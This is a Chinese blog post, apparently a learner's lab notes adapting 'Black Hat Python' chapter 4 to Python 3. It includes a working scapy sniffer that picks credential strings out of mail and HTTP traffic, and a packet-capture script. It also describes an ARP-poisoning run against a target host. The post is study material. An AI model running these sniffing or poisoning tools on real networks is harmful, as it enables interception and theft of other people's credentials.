Black Hat Python3 Chapter4

mail sniffer

现在的邮箱应用我能找到的都是加密传输了,因此相像书中那样直接从抓到的包里获取到用户名和密码信息除非是自己专门搭建一个邮箱服务器,不然很难做到,为了便于理解代码的运行,多添加一个tcp端口观察代码的运行情况,修改后的python3代码如下:

from scapy.all import *
from scapy.layers.inet import TCP, IP


# our packet callback
def packet_callback(packet):
    if packet.haslayer(TCP):
        if packet[TCP].payload:
            mail_packet = str(packet[TCP].payload)
            if "user" in mail_packet.lower() or "pass" in mail_packet.lower():
                print("[*] Server: {}".format(packet[IP].dst))
                print("[*] {}".format(packet[TCP].payload))


print("go!")

# fire up our sniffer
sniff(filter="tcp port 110 or tcp port 25 or tcp port 143 or tcp port 80", prn=packet_callback, store=0)
#sniff(prn=packet_callback, count=0)

可以看到比书中多监测了80端口,运行情况如下:

1506386-20190330182000093-1712764395.png

arper

本代码运行良好不需要做有技术含量的修改,修改后python3代码见文章最后github链接。
运行状况:

1506386-20190330182005176-1660721356.png

目标主机arp缓存被更改:
1506386-20190330182009469-2131788676.png

pic_carve

书上步骤很详细,也无需太多修改,对之前的代码稍作修改使其抓取本机的10000个数据包,然后······

我的kali跑死机了。

干脆重写一个抓取本机数据包的程序。代码如下:

from scapy.all import *
import sys

host = "192.168.2.222"
packet_count = 5000
interface = "eth0"

bpf_filter = "ip host {}".format(host)

try:
    print("[*] Starting sniffer for {} packets".format(packet_count))

    packets = sniff(count=packet_count, filter=bpf_filter, iface=interface)

except KeyboardInterrupt:
    pass

finally:
    # write out the captured packets
    print("[*] Writing packets to arper.pcap")
    wrpcap("arper.pcap", packets)
    sys.exit(0)

然后修改并运行代码,说实话不能算成功,无非是对图片格式的编码解码有问题。自我放弃之下用python2.7去运行原版代码······

也是图片编码存在问题:

1506386-20190330182018199-803682880.png

代码链接

Black Hat Python3 Chapter4

转载于:https://www.cnblogs.com/thechosenone95/p/10628406.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值